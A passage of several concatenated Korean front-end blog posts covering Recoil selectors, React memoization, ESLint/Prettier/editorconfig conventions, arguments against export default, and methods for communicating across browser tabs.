  get: ({
    get: GetRecoilValue
  }) => T | Promise<T> | RecoilValue<T>,

  set?: (
    {
      get: GetRecoilValue,
      set: SetRecoilState,
      reset: ResetRecoilState,
    },
    newValue: T | DefaultValue,
  ) => void,

  dangerouslyAllowMutability?: boolean,
})
```

- `key`: 유니크 아이디로, 애플리케이션 전체에서 다른 `selector`나 `atom`과 중복되서는 안된다.
- `get`: 상태로 부터 연산할 수 있는 값이다. 단순히 값이나 `Promise`로 부터 야기되는 비동기 값을 가져올 수 있으며, 또한 같은 타입을 갖는 `atom`이나 `selector` 를 리턴할 수도 있다.
  - get: 다른 `atom` `selector`에서 값을 가져오기 위해 제공되는 함수다. 이 `get`을 거치는 모든 `atom`과 `selector`는 의존성을 가진 것으로 간주된다. 따라서 이 `get`에서 쓰이는 값이 변하게 되면, 이 selector 또한 변하게 된다.
- `set?`: 만약 이 `set`이 설정되면, `selector` 는 쓰기 가능한 `state`를 리턴하게 된다.
  - `get`: 위와 마찬가지로 다른 `atom` `selector`에서 값을 가져오기 위해 제공되는 함수다.
  - `set`: `recoil`의 state 값을 쓰기 위해 제공 되는 함수다. 첫번째 파라미트로는 `Recoil`의 state를, 두번째 파라미터로는 새로운 값을 넘겨주면 된다.
- `dangerouslyAllowMutability`: `selector`는 파생된 상태로 부터의 순수함수 이기 때문에, 의존성의 같은 input이 제공되면 항상 같은 값을 리턴해야 한다. 이 옵션을 오버라이드 하고 싶을 때 쓴다.

예제를 살펴보자.

```javascript
import {atom, selector, useRecoilState, DefaultValue} from 'recoil'

// 화씨 온도를 저장해 두는 atom
const tempFahrenheit = atom({
  key: 'tempFahrenheit',
  default: 32,
})

// 섭씨 온도는 화씨로 부터 파생된다.
const tempCelsius = selector({
  key: 'tempCelsius',
  // 현재 화씨 값을 기준으로 연산하여 화씨 값을 가져온다.
  get: ({get}) => ((get(tempFahrenheit) - 32) * 5) / 9,
  // 섭씨 값을 설정하면, 화씨 값을 set 한다.
  set: ({set}, newValue) =>
    set(
      tempFahrenheit,
      newValue instanceof DefaultValue ? newValue : (newValue * 9) / 5 + 32,
    ),
})

function TempCelsius() {
  // selector와 atom 모두 useRecoilState를 활용하여 값을 설정하고 가져오는 것을 알 수 있다.
  const [tempF, setTempF] = useRecoilState(tempFahrenheit)
  const [tempC, setTempC] = useRecoilState(tempCelsius)
  const resetTemp = useResetRecoilState(tempCelsius)

  const addTenCelsius = () => setTempC(tempC + 10)
  const addTenFahrenheit = () => setTempF(tempF + 10)
  const reset = () => resetTemp()

  return (
    <div>
      Temp (Celsius): {tempC}
      <br />
      Temp (Fahrenheit): {tempF}
      <br />
      <button onClick={addTenCelsius}>Add 10 Celsius</button>
      <br />
      <button onClick={addTenFahrenheit}>Add 10 Fahrenheit</button>
      <br />
      <button onClick={reset}>>Reset</button>
    </div>
  )
}
```

## 느낌

- 일단 API가 굉장히 단순하고, hook을 사용하고 있기 때문에 리액트의 hook 생태계에 익숙한 사람들에게 낮은 러닝 커브로 다가올 것 같은 생각이 든다. 또 현재 `state`로 되어 있는 리액트 프로젝트를 굉장히 빠르게 마이그레이션 할 수 있을 것 같다. `<RecoilRoot/>`로 루트 프로젝트를 감싸고, `useState`를 `useRecoilState`로 바꾸면 일단은 된다.
- 컴포넌트가 사용하는 데이터만 별개로 사용할 수 있어서 좋았다.
- `selector` 라는 이름이 주는 혼란함이 있었다. `selector` 인데 `set`이 왜 됨???
- [리액트 동시성 모드가 사용가능해지면 이를 지원할 수도 있다는 언급이 있었다.](https://recoiljs.org/docs/introduction/motivation/) 왜냐하면 [Recoil은 내부적으로 React의 상태를 사용하고 있으며](https://github.com/facebookexperimental/Recoil/blob/55059f54ad1d09bfac8d086316bb18bed9cc2879/src/hooks/Recoil_Hooks.js#L20) 이는 곧 [React에서 내놓을 동시성 모드](https://ko.reactjs.org/docs/concurrent-mode-intro.html)를 지원할 수도 있다는 가능성이 존재한다고 볼 수 있기 때문이다. (실제로 motivation에서 그렇게 이야기 하기도 했고) 사용이 간편하다, Facebook이 만들었다는 것 외에 다른 상태 관리 라이브러리와 다른 가장 큰 차별점 & 그리고 도입을 해야하는 이유가 있다면 바로 이것 때문이 아닐 까 싶다. (물론 아직은 멀었지만)
  > We have the possibility of compatibility with Concurrent Mode and other new React features as they become available.

## 더 알아보기

- https://www.youtube.com/watch?v=_ISAA_Jt9kI&ab_channel=ReactEurope
- https://ui.toast.com/weekly-pick/ko_20200616

---

Source: https://yceffort.kr/2020/11/react-memoization.md
Title: 리액트와 메모이제이션
Description: 블로그에서 계속 같은 글을 쓰는 것 같은데🤪
Date: 2020-11-12
Tags: react, web-performance

## 메모이제이션

https://ko.wikipedia.org/wiki/%EB%A9%94%EB%AA%A8%EC%9D%B4%EC%A0%9C%EC%9D%B4%EC%85%98

> 메모이제이션(memoization)은 컴퓨터 프로그램이 동일한 계산을 반복해야 할 때, 이전에 계산한 값을 메모리에 저장함으로써 동일한 계산의 반복 수행을 제거하여 프로그램 실행 속도를 빠르게 하는 기술이다. 동적 계획법의 핵심이 되는 기술이다.

함수형 프로그래밍의 기본원칙을 잘 지켰다면, (어떠한 외부 부수 효과에 영향을 받지 않는다면) 어떤 input이 들어가도 그 input에 대한 output은 동일 할 것이고, 따라서 동일한 input이 들어온다면 미리 전에 계산해두었던 output을 그대로 돌려줘도 될 것이다.

```javascript
const cache = {}
function addTwo(input) {
  if (!cache[input]) {
    console.log('계산 중..')
    cache[input] = input + 2
  } else {
    console.log('계산된 값을 그대로 돌려드립니다.')
  }
  return cache[input]
}
```

```javascript
addTwo(2) // 계산 중..
4
addTwo(3) // 계산 중..
5
addTwo(2) // 계산된 값을 그대로 돌려드립니다.
4
```

예제의 연산 자체는 간단했지만, 연산이 복잡하다면 메모이제이션으로 분명히 이득을 볼 수가 있다.

또 한가지 메모이제이션의 이점은, 정말로 동일한 결과가 리턴된다는 것이다. 결과값이 원시값이 아닌경우, 주소를 비교하기 때문에 `===`이 성립하지 않는데, 메모이제이션을 한다면 정말로 똑같은 값을 리턴할 것이다. (기존에 가지고 있던 값을 그대로 돌려줄 것이므로)

## 리액트의 메모이제이션

리액트는 메모이제이션을 위한 세개의 api를 제공한다.

- [memo](https://ko.reactjs.org/docs/react-api.html#reactmemo)
- [useMemo](https://ko.reactjs.org/docs/hooks-reference.html#usememo)
- [useCallback](https://ko.reactjs.org/docs/hooks-reference.html#usecallback)

리액트 메모이제이션에서는 주목해야 할 부분이 있다. https://ko.reactjs.org/docs/hooks-faq.html#how-to-memoize-calculations

> The useMemo Hook lets you cache calculations between multiple renders by "remembering" the previous computation:

바로 이전의 값만 메모이제이션 한다는 것이다.

```javascript
const Memoized = React.memo(Component)
```

```html
<!-- 새롭게 렌더링 -->
<Memoized num="{1}" />
<!-- 직전 elements를 사용 -->
<Memoized num="{1}" />
<!-- 새롭게 렌더링 -->
<Memoized num="{2}" />
<!-- 새롭게 렌더링 -->
<Memoized num="{1}" />
```

`useMemo` `useCallback`도 마찬가지로, 직전의 값만 메모이제이션한다. 코드로 풀면 이런 느낌의 메모이제이션일 것이다.,

```javascript
let prevInput;
let prevResult;

function someFunction(input) {
  if (input !== prevInput) {
    prevResult = doSomethingHeavyJob....
  }

  prevInput = input
  return prevResult
}
```

## 메모이제이션의 이유

메모이제이션은 아래 두가지 이유때문에 한다고 볼 수 있다.

1. 비싼 연산을 반복하는 것을 피하여 성능을 향상시킨다
2. 안정된 값 제공

1번에 대해서는 모든 리액트 개발자들이 공감하고 있을 것이기 때문에 생략하고, 2번에 대해서 이야기 해보자.

```javascript
function App() {
  const [body, setBody] = useState()
  const fetchOptions = {
    method: 'POST',
    body,
    headers: {'content-type': 'application/json'},
  }

  const callApi = () => (body ? fetch('/url', fetchOptions) : null)

  useEffect(() => {
    const result = callApi()
    if (!result) return
  }, [callApi])

  return <>...</>
}
```

리액트에서 흔히 볼 수 있는 코드다. `useEffect`는 `deps`에 변경이 있을 때마다 실행된다. 여기에서는 `callApi`가 있으므로, `callApi`는 컴포넌트 내에서 매번 새롭게 렌더링 될 때마다 계속해서 만들어질 것이다.

따라서 이 값을 안정시키기 위해서 memoization을, 정확히는 `useCallback`을 사용해야 한다.

```javascript
const callApi = useCallback(
  () => (body ? fetch('/url', fetchOptions) : null),
  [body, fetchOptions],
)
```

그러나 `fetchOptions`역시 컴포넌트가 렌더링 될 때마다 새롭게 생성될 것이므로, `fetchOptions`도 memoization을 거쳐야 한다.

```javascript
const fetchOptions = useMemo(() => {
  return {
    method: 'POST',
    body,
    headers: {'content-type': 'application/json'},
  }
}, [body])
```

`fetchOptions`와 `callApi`를 오로지 `body`의 값이 변경될 때만 다시 연산하게 함으로써 값을 안정시킬 수 있다.

원하는 값을 memoization하기 위해서 중요한 것은 memoization에 필요한 값들을 안정화 시키는 것이다. `fetchOptions`의 `useMemo`를 사용하여 `callApi`에서 하고자하는 memoization을 안정적으로 달성할 수 있게 되었다.

물론, 위의 예제를 제대로 작성하기 위해선 아래와 같이 해야할 것이다.

```javascript
useEffect(() => {
  if (!body) return

  const fetchOptions = {
    method: 'POST',
    body,
    headers: {'content-type': 'application/json'},
  }

  fetch('/url', fetchOptions)
}, [body])
```

굳이 memoization을 하지 않더라도, `useEffect`가 `body`의 값의 변화에만 트리거하도록 바꾸면 (이것도 리액트의 직전 값만 비교하는 memoization전략과 일치한다고 볼 수 있다.) 쉽게 원하는 바를 달성할 수 있다.

---

Source: https://yceffort.kr/2020/11/retrospect-eslint-prettier.md
Title: eslint, prettier, editorconfig 로 코드 컨벤션을 맞춘 후기
Description: 예민이가 된 기분
Date: 2020-11-11
Tags: javascript, eslint

`eslint-config-***` 시리즈를 만들면서 몇 가지 배운 것, 그리고 잊지 않기 위해 기억해야 할 것을 요약해 둔다.

https://github.com/yceffort/eslint-config-yceffort

## eslint 와 prettier의 충돌

`eslint`와 `prettier`를 적요한 사람들이 가장 많이 겪는 문제 중 하나는, vs code 등 에디터에서 `eslint`를 적용했는데, 룰이 서로 충돌을 한다는 문제였다.

대표적인 예가 `indent`룰 인데, 놀랍게도 `eslint`와 `prettier`모두 indent 룰이 존재한다.

- `eslint`: https://eslint.org/docs/rules/indent
- `prettier`: https://prettier.io/docs/en/options.html#tab-width

예를 들어, 나는 2칸을 규칙으로 지정해서 하고 싶어서, 아래와 같이 두개 다 적용했다고 가정해보자.

```javascript
rules: {
  indent: ['error', 2],
  'prettier/prettier': ['error', { tabWidth: 2 }],
},
```

![indent1](./images/indent1.png)

![indent2](./images/indent2.png)

뭔가 둘이 똑같은 일을 하는 `indent`와 `tabWidth`의 동작이 미묘하게 다른 것을 알 수 있다.

https://github.com/eslint/eslint/issues/10930

> @jlchereau ESLint's indent rule and Prettier's indentation styles do not match - they're completely separate implementations and are two different approaches to solving the same problem `("how do we enforce consistent indentation in a project")`.

> When using Prettier, you shouldn't be using ESLint's indent rule at all. In your current configuration, the prettier config disables indent and then you're turning it back on using `"indent": ["error", 4, { "SwitchCase": 1 }]`, in the rules property of your config. I don't use eslint-plugin-prettier, but I believe you should be letting that rule handle any warnings about indentation.

이러한 `indent`룰 이외에도 충돌하는 룰이 몇가지 있다.

이런 경우에는 `prettier`가 할 수 있는 일은 `prettier`에게 모두 맡기고, 관련 `eslint`룰은 모두 끄는 것이 좋다.

https://github.com/prettier/eslint-config-prettier

> Turns off all rules that are unnecessary or might conflict with Prettier. ;
> This lets you use your favorite shareable config without letting its stylistic choices get in the way when using Prettier.

## 특정 라이브러리 import 방지

`lodash`는 다양한 기능을 제공하는 좋은 라이브러리이지만, 여기저기서 언급한 것처럼 - 오래된 설계 방식으로 인해 잘못 import 를 하면 트리쉐이킹이 되지 않는다.

```javascript
// 설정이 잘 되어있어도 lodash 모든 것들을 가져온다.
import {sortBy} from 'lodash'

// sortBy 경로에서 가져온다.
import sortBy from 'lodash-es/sortBy'
```

https://yceffort.kr/2020/07/how-commonjs-is-making-your-bundles-larger

https://yceffort.kr/2020/07/how-commonjs-is-making-your-bundles-larger

이것을 [no-restricted-imports](https://eslint.org/docs/rules/no-restricted-imports)로 막을 수 있다.

```javascript
"no-restricted-imports": [
    "error",
    {
    "name": "lodash",
    "message": "lodash has been prohibited due to bundle size. use lodash-es instead."
    }
]
```

![no-restricted-imports](./images/no-restricted-imports.png)

만약 기존에 이미 `no-restricted-imports` 룰이 있다면, 별개의 `eslintrc`룰을 만들어서 `eslint`를 한번 더 돌리면 된다. 뭔가 이 룰을 고도화 하자는 issue도 있었는데, `eslint`팀에서 복잡성을 이유로 거절했었다.

## husky, lint-staged

`prettier`와 `lint`에 대한 점검은 보통 CI 단계에서 하는 경우가 많은데, 코드를 커밋하기 전에도 할 수 있다.

- `husky`: https://github.com/typicode/husky
- `lint-staged`: https://github.com/okonet/lint-staged

두 라이브러리를 devDependencies에 설치해두고, `package.json`에 아래와 같이 추가해주면 된다.

```json
{
  "husky": {
    "hooks": {
      "pre-commit": "lint-staged -q"
    }
  },
  "lint-staged": {
    "**/*.{js}": ["eslint", "git add"]
  }
}
```

코드의 양이 많아질수록, git add 하는 과정이 버벅일 수 있으므로, 이는 적당히 고려해보기만 하면 될 것 같다.

## 취향을 타는 룰은 변경보다는 현상 유지가 낫다.

나는 대표적인 80width 2indent 파인데, 이는 굉장히 개인적인 취향의 영역이다. ([물론 prettier는 합리적인 선택이라고 주장하지만 서도](https://prettier.io/docs/en/options.html#print-width)) 이렇게 취향을 타는, 그리고 전체적인 코드 베이스를 수정해야 하는 룰은 그대로 두는게 낫다.

고치는게 어렵다거나, 수정이 많아진다거나 하는 이유가 아니고, 전반적인 코드의 history를 오염시킬 수 있기 때문이다. 온갖 코드에 히스토리가 바로 보이지 않고, 직전 히스토리에 `변경된 eslint 룰 적용`이라는 커밋 메시지만 잔뜩 남아있으면 git blame 하기가 여간 쉽지 않을 것이다.

## prettier 1.0과 2.0 사이에 default 값의 변화가 있다.

이건 내가 ~~멍청해서~~ 잘 못 찾고 삽질하던 영역인데, 1.0에서 2.0으로 업그레이드 하면서 기본값에서 몇가지 변화가 있었다. (내가 헤매던건 `trailing commas`)

https://prettier.io/docs/en/options.html

1.0에서 버전업 할 때 이를 잘 살펴볼 필요가 있다.

## react/exhaustive-deps는 죄가 없다.

리액트 코드들을 많이 살펴보면 이 `react/exhaustive-deps`룰을 warning처리 해놓거나, 혹은 eslint-disable을 도배해놓은 걸 볼 때가 많다.

경험적으로 봤을 때, 그리고 많은 아티클을 참고 했을 때 이룰은 `error` 로 두고, 필요할 때만 `eslint-disable-line` 을 해두는 것이 좋다.

이 논쟁에 대한 많은 글들이 있기 때문에,, 더 이상 설명하는 것은 생략..

- https://reactjs.org/docs/hooks-faq.html#is-it-safe-to-omit-functions-from-the-list-of-dependencies
- https://github.com/facebook/react/issues/14920
- https://yceffort.kr/2020/10/think-about-useEffect

## camelcase

나는 camelCase와 PascalCase를 사용하는 것을 좋아한다. 그리고 대부분의 자바스크립트 라이브러리들이 둘 중 하나으로 작성되어 있다. 그러나 가끔 라이브러리들을 보면 snake_case로 작성되어 있는 경우가 있는데, 이 camelcase룰이 잘 되어 있어서 쓰는데 많은 도움이 되었다. destructuring시에 무시하거나, 혹은 특정 string에 대해서는 예외로 설정해 둘 수 있다.

https://eslint.org/docs/rules/camelcase

## .editorconfig도 쓰자.

[.editorconfig](https://editorconfig-specification.readthedocs.io/en/latest/)는 다양한 편집기와 IDE에서 작엏바는 여러 개발자들을 일관된 코딩스타일로 묶어주는데 도움을 준다. 따라서 이것도 프로젝트 코딩 컨벤션과 맞춰서 작성해서 제공하는게 좋다.

`.editorconfig`는 편집기 그 자체를 코딩 컨벤션에 맞춰서 자동으로 구성되게 해주기 때문에, `editorconfig` `prettier` `eslint`이 모든 것을 사용하는 것이 모두에게 일관된 코딩 스타일을 제공하는데 효과적이다.

아래는 내 전용 `.editorconfig`다.

https://github.com/yceffort/eslint-config-yceffort/blob/master/.editorconfig

```yaml
# http://editorconfig.org
root = true

[*.{js,ts,tsx}]
charset = utf-8
end_of_line = lf
indent_style = space
indent_size = 2
insert_final_newline = true
max_line_length = 80
trim_trailing_whitespace = true

[*.{json,yml,yaml}]
charset = utf-8
end_of_line = lf
indent_style = space
indent_size = 2
insert_final_newline = true
trim_trailing_whitespace = true
```

https://stackoverflow.com/questions/48363647/editorconfig-vs-eslint-vs-prettier-is-it-worthwhile-to-use-them-all

## 오타도 주의 하자.

eslint와는 조금 다른 얘기지만, 오타도 점검내지는 고쳐줬으면 좋겠다.

우리는 영어권 민족이 아니기 때문에, 영문 오타를 낼 가능성이 많다. 물론 영어권 사람들도 그렇겠지만. 그래서 대규모 프로젝트를 진행하다보면, 많은 사람들이 실수로 저질러 놓은 영어 오타들을 많이 보게 된다.

이를 점검할 수 있는 방법엔 여러가지가 있다.

- https://github.com/aotaduy/eslint-plugin-spellcheck
- https://github.com/TypoCI/spellcheck-action
- https://github.com/marketplace/actions/check-spelling

다양한 방법이 있지만, 개인적으로는 [vscode의 code spell checker](https://marketplace.visualstudio.com/items?itemName=streetsidesoftware.code-spell-checker)를 사용해서 내 코드 - 내지는 내 담당 PR만이라도 보고 있다.

왜냐하면, 아무래도 오타를 죄다 `error` 내지는 `warning`으로 띄운다면 `naver`나 `daum`같은 것도 죄다 오타로 걸리고, 그래서 이 예외적인 표현을 예외 목록에 추가하고, 그러다보면 예외목록에 갖가지 단어가 추가되는 등의 번거로움이 있을 것 같아서 적극적인 적용에는 망설이고 있다.

변수나 함수명의 귀여운 오타들이 코드의 성능이나 생산성에 영향을 미치는 것은 아니라서 모두 고칩시다! 라고 주장하기엔 무리가 있지만, 아무래도 거슬리는 건 어쩔 수가 없다. 나라도 조심하자.

## `warn`은 결국 `off`나 `error`로 가야 한다.

`warn`으로 설정하는 이유의 대부분은

> 문제가 있는건 알지만 일단 나중에 한꺼번에 고치자
> 문제인건 알지만 나중에 다시 논의 해보자
> 문제인건 알지만 에러까지는 아니고, 알아서 조심하자

정도로 나눠 볼 수 있을 것 같다. 그러나 이 `warn`을 장기간 방치해두면 그 경고가 쌓이게 되어, 정작 코드 컨벤션을 맞추기 위한 `eslint`의 의미를 퇴색시키고, 다른 경고들도 볼 수 없게 된다.

개인적인 생각으로는, `warn`으로 할 바엔 `off`로 하든, 혹은 `error`로 두고 예외적인 부분만 disable 처리하고 코멘트를 달아두는게 나은 것 같다. `warn`은 어디까지나 임시일뿐, 결국엔 `eslint`의 이점을 누릴 수 없게 만든다.

## AST 에 대한 이해

`eslint`를 만들면서 병적으로 사소한 룰을 추가하고 빼보고 카나리 배포해보고 적용해보고 fix해보고 commit 해보고 충돌나고 다시 고치고를 반복하면서 배운 것 이외에, 한가지 배운 것이 있다면 AST(Abstract Syntax Tree) 에 대한 이해였다.

eslint 는 아래와 같은 순서로 동작한다.

1. javascript 코드를 읽는다
2. parser로 AST를 만든다.

- 여기서 parser는 `Espree` `babel-eslint`등이 존재한다.
- AST는 소스코드의 구조를 트리 형태로 표현한 것이다.

3. linter와 rule을 활용하여 AST를 검사한다.
4. 검사결과에 따라서 에러를 뱉거나 고친다.

```javascript
var hello = 'hello'
console.log(hello)
```

이 parser를 거치면 아래와 같은 AST 형태로 바뀌게 된다.

```json
{
  "type": "Program",
  "start": 0,
  "end": 38,
  "body": [
    {
      "type": "VariableDeclaration",
      "start": 0,
      "end": 19,
      "declarations": [
        {
          "type": "VariableDeclarator",
          "start": 4,
          "end": 19,
          "id": {
            "type": "Identifier",
            "start": 4,
            "end": 9,
            "name": "hello"
          },
          "init": {
            "type": "Literal",
            "start": 12,
            "end": 19,
            "value": "hello",
            "raw": "'hello'"
          }
        }
      ],
      "kind": "var"
    },
    {
      "type": "ExpressionStatement",
      "start": 20,
      "end": 38,
      "expression": {
        "type": "CallExpression",
        "start": 20,
        "end": 38,
        "callee": {
          "type": "MemberExpression",
          "start": 20,
          "end": 31,
          "object": {
            "type": "Identifier",
            "start": 20,
            "end": 27,
            "name": "console"
          },
          "property": {
            "type": "Identifier",
            "start": 28,
            "end": 31,
            "name": "log"
          },
          "computed": false
        },
        "arguments": [
          {
            "type": "Identifier",
            "start": 32,
            "end": 37,
            "name": "hello"
          }
        ]
      }
    }
  ],
  "sourceType": "module"
}
```

이러한 구조를 이해해야 `eslint`가 어떻게 동작하는지 알수 있으며, 나아가 단순히 룰을 조합하는 `eslint-config`뿐만 아니라 내가 직접 custom rule을 만들 수도 있다.

---

Source: https://yceffort.kr/2020/11/avoid-default-export.md
Title: export default를 쓰지 말아야 할 이유
Description: 근데 쓰는게 뭔가 더 안정적인 기분이야
Date: 2020-11-09
Tags: typescript, javascript

`export default` 구문은 보통 파일 내에서 한개만 `export`하거나, 대표로 `export`할 것이 있을 때 많이 쓴다.

```typescript
function Foo {
  // ...
}

export default Foo
```

```typescript
export default function Foo {
  // ...
}
```

그리고 쓰는 쪽에서는 이렇게 `import`할 것이다.

```typescript
import Foo from './foo'
```

그런데 왜 이것을 않으면 좋은지 몇 가지 이유를 들어서 설득해보자.

## Table of Contents

## 예제

`foo.ts`

```typescript
export default function Foo() {
  console.log('foo')
}
```

`bar.ts`

```typescript
export function hello() {
  console.log('hello')
}

export function hi() {
  console.log('hi')
}
```

## 검색이 어렵다.

```typescript
import {h} from './bar'
```

default export를 하게 되면 내보내기가 있는지 여부가 불투명하다.

```typescript
import {Foo} from 'something'
```

그러나 기본값이 없으면 코드 intellisense로 내부에 어떤 것을 import 할 수 있는지 쉽게 알 수 있다.

![export](./images/export1.png)

## commonjs

`default`는 `commonjs`를 쓰는 사람들에게는 혼동을 준다. 위의 default export를 `commonjs`로 바꾸면

```javascript
export default function Foo() {
  console.log('foo')
}

module.exports = {
  Foo,
  default: Foo,
}
```

방식으로 해야하는 어려움이 있다.

## re-export

```typescript
export {default as Foo} from './foo'
```

```typescript
export * from './bar'
```

named export 쪽이 다시 export 하는데 있어서 훨씬 편하다.

## 다이나믹 import

```typescript
const foo = await import('./foo')
foo.default()
```

```typescript
const {hello} = await import('./bar')
hello()
```

`default` 한단계를 더 거쳐야 한다.

## 클래스나 함수가 아니면 한줄이 더 필요함.

```typescript
// 이건 안된다
export default const hello = 'hello'

// 이건 가능
export const hi = "hi";
```

```typescript
// 이렇게 해야한다.
const hello = 'hello'

export default hello
```

## 리팩토링의 어려움

`default export`는 가져다 쓰는 곳에서 네이밍을 제멋대로 할 수 있으므로, 리팩토링 하기가 어렵다.

```typescript
import Foo from './foo'
import Wow from './foo'
import Bye from './foo'
```

위 세개는 모두 동일하게 동작하기 때문에, 오타를 수정하는 등의 작업이 어려워 진다.

## 트리 쉐이킹

만약 여러개의 object를 하나의 `default export`로 내보내는 코드가 있다고 가정해보자.

`foo.ts`

```javascript
export default {
  foo1: 'foo1',
  bar1: 'bar1',
}
```

`bar.ts`

```javascript
export const bar2 = 'bar2'
export const foo2 = 'foo2'
```

`index.ts`

```javascript
import Foo from './foo'
import {foo2} from './bar'

console.log(Foo.foo1)
console.log(foo2)
```

[이를 트리쉐이킹을 거치게 되면 아래와 같은 결과가 나온다.](https://rollupjs.org/repl/?version=2.33.1&shareable=JTdCJTIybW9kdWxlcyUyMiUzQSU1QiU3QiUyMm5hbWUlMjIlM0ElMjJtYWluLmpzJTIyJTJDJTIyY29kZSUyMiUzQSUyMmltcG9ydCUyMEZvbyUyMGZyb20lMjAnLiUyRmZvbyclNUNuaW1wb3J0JTIwJTdCJTIwZm9vMiUyMCU3RCUyMGZyb20lMjAnLiUyRmJhciclNUNuJTVDbmNvbnNvbGUubG9nKEZvby5mb28xKSU1Q25jb25zb2xlLmxvZyhmb28yKSUyMiUyQyUyMmlzRW50cnklMjIlM0F0cnVlJTdEJTJDJTdCJTIybmFtZSUyMiUzQSUyMmJhci5qcyUyMiUyQyUyMmNvZGUlMjIlM0ElMjJleHBvcnQlMjBjb25zdCUyMGJhcjIlMjAlM0QlMjAnYmFyMiclNUNuZXhwb3J0JTIwY29uc3QlMjBmb28yJTIwJTNEJTIwJ2ZvbzInJTIyJTdEJTJDJTdCJTIybmFtZSUyMiUzQSUyMmZvby5qcyUyMiUyQyUyMmNvZGUlMjIlM0ElMjJleHBvcnQlMjBkZWZhdWx0JTIwJTdCJTVDbiUyMCUyMGZvbzElM0ElMjAnZm9vMSclMkMlNUNuJTIwJTIwYmFyMSUzQSUyMCdiYXIxJyUyQyU1Q24lN0QlMjIlN0QlNUQlMkMlMjJvcHRpb25zJTIyJTNBJTdCJTIyZm9ybWF0JTIyJTNBJTIyZXMlMjIlMkMlMjJuYW1lJTIyJTNBJTIybXlCdW5kbGUlMjIlMkMlMjJhbWQlMjIlM0ElN0IlMjJpZCUyMiUzQSUyMiUyMiU3RCUyQyUyMmdsb2JhbHMlMjIlM0ElN0IlN0QlN0QlMkMlMjJleGFtcGxlJTIyJTNBbnVsbCU3RA==)

```javascript
var Foo = {
  foo1: 'foo1',
  bar1: 'bar1',
}

const foo2 = 'foo2'

console.log(Foo.foo1)
console.log(foo2)
```

`named exports`를 하는게 번들 사이즈를 더 줄이는데 도움을 준다.

## 결론

그럼에도 불구하고 default export를 쓰는 것을 그만두지는 않을 것 같다. `eslint-config-airbnb` 만 보더라도 [내보낼 것이 한개인 경우에는 default를 쓰는 것을 권장하고 있고](https://github.com/airbnb/javascript#modules--prefer-default-export) `nextjs` 등의 라이브러리에서도 `default export`를 하지 않고서는 할 수 없는 기능들이 더러 있다.

[물론 여전히 두 export 방식에 대해서는 논란이 많지만](https://github.com/airbnb/javascript/issues/1365) 아무래도 `default` 가 깔끔한 건 기분 탓일까, 습관 탓일까 🤔

그래도 **가급적이면** named exports를 하는 방향으로 코드를 써보자. 그럼에도 `default`는 죄가 없는 것 같다.

---

Source: https://yceffort.kr/2020/11/communicate-across-browser-tabs.md
Title: 브라우저 탭 사이에서 통신 하는 방법
Description: 블로그 다크모드 지원시에 고려해보겠습니다 🤔
Date: 2020-11-06
Tags: browser, javascript

한 사이트가 여러 탭에서 떠 있을 때, 탭 사이에서 통신이 필요한 경우가 있을까?

- 한 탭에서 사이트의 테마를 변경해서 다른 탭에 있는 사이트에까지 변경이 필요한 경우
- 애플리케이션의 상태를 탭 사이에 맞춰야 하는 경우
- 가장 최근에 가져온 인증 정보를 브라우저 탭 간에 공유가 필요한 경우

이를 달성할 수 있는 방법이 무엇이 있을까?

## Local Storage

놀랍게도 [로컬 스토리지에도 event를 지원한다.](https://developer.mozilla.org/en-US/docs/Web/API/Window/storage_event) 이 event를 활용해서 localStorage의 변화를 감지하는 방법이다.

```javascript
React.useEffect(() => {
  function listener(event: StorageEvent) {
    if (event.storageArea !== localStorage) return
    if (event.key === LOGGINED) {
      setLoginTime(parseInt(event.newValue || '0', 10))
    }
  }
  window.addEventListener('storage', listener)

  return () => {
    window.removeEventListener('storage', listener)
  }
}, [])
```

https://codesandbox.io/s/tab-communications-1-localstorage-5ldjw

![example1](./images/tab-communication-1.gif)

잘 작동하는 것 같지만 몇가지 문제가 존재한다.

- 정확히는 탭 별로 이벤트가 발생하는게 아니고 storage의 event를 가져다 쓰는 꼼수라는 점
- localStorage는 동기로 작동하기 때문에 메인 UI 스레드를 블로킹할 수도 있음.

## Broadcast Channel API

[BroadCast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API)는 탭, 윈도우, 프레임, iframe 그리고 Web worker 간에 통신을 할 수 있게 해주는 API다.

이 방법을 쓰면, [브라우저 콘텍스트](https://developer.mozilla.org/en-US/docs/Glossary/browsing_context) 간에 통신이 가능해진다.

```javascript
const LOGGINED = "loggedIn";

const channel = new BroadcastChannel(LOGGINED);

export default function App() {
  const [loginTime, setLoginTime] = React.useState<number>(() =>
    parseInt(window.localStorage.getItem(LOGGINED) || "0", 10)
  );

  React.useEffect(() => {
    function listener(event: MessageEvent) {
      setLoginTime(event.data);
    }

    channel.addEventListener("message", listener);

    return () => {
      channel.removeEventListener("message", listener);
    };
  }, []);

  return (
    // jsx
  );
}
```

https://codesandbox.io/s/tab-communications-2-braodcast-channel-m50d6

~~코드가 어딘가 이상하다면 그냥 무시해주셈~~

![example2](./images/tab-communication-2.gif)

다만 문제점은 [Broadcast Channel Api는 너무 힙한 나머지 사파리와 IE에서 쓸 수 없다는 점](https://caniuse.com/broadcastchannel)다.

## Service Worker

[서비스 워커](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration)를 이용하는 방법도 있다.

```javascript
window.navigator.serviceWorker.controller?.postMessage({
  [LOGGINED]: currentDateTime,
})
```

그리고 이 정보를 서비스워커에서 받으면 된다. 그러나 서비스 워커를 세팅하는 것은 쉽지 않고, 추가적으로 `serviceWorker.js`등을 만드는 등의 노력이 필요하다. 그리고 [서비스 워커도 마찬가지로 IE에서 지원하지 않는다.](https://caniuse.com/serviceworkers)

## postMessage

가장 전통적이고도 널리 쓰이는 방식은 [window.postmessasge](https://developer.mozilla.org/ko/docs/Web/API/Window/postMessage)다. 아마 대다수의 서비스들이 이 방식을 쓰고 있을 것이다.

```javascript
targetWindow.postMessage(message, targetOrigin)
```

```javascript
window.addEventListener(
  'message',
  (event) => {
    if (event.origin !== 'http://localhost:8080') return
    // Do something
  },
  false,
)
```

이 방법의 장점은 cross-origin을 지원한다는 것이다. 그러나 단점은 위 코드에서 알 수 있듯이 브라우저 탭의 레퍼런스를 가지고 있어야 한다. (`targetWindow`를 가지고 있는 것 같이) 그래서 이 방식은 `window.open()`이나 `document.open()`을 통해서 탭을 열었을 때만 사용 가능하다.

https://caniuse.com/mdn-api_window_postmessage

---

Source: https://yceffort.kr/2020/11/webpack-module-federation-example.md
Title: Webpack Module Federation 직접해보기
Description: Micro Frontend 🤔
Date: 2020-11-05
Tags: webpack, react, micro-frontend

https://yceffort.kr/2020/09/webpack-module-federation 에서 이어진다.

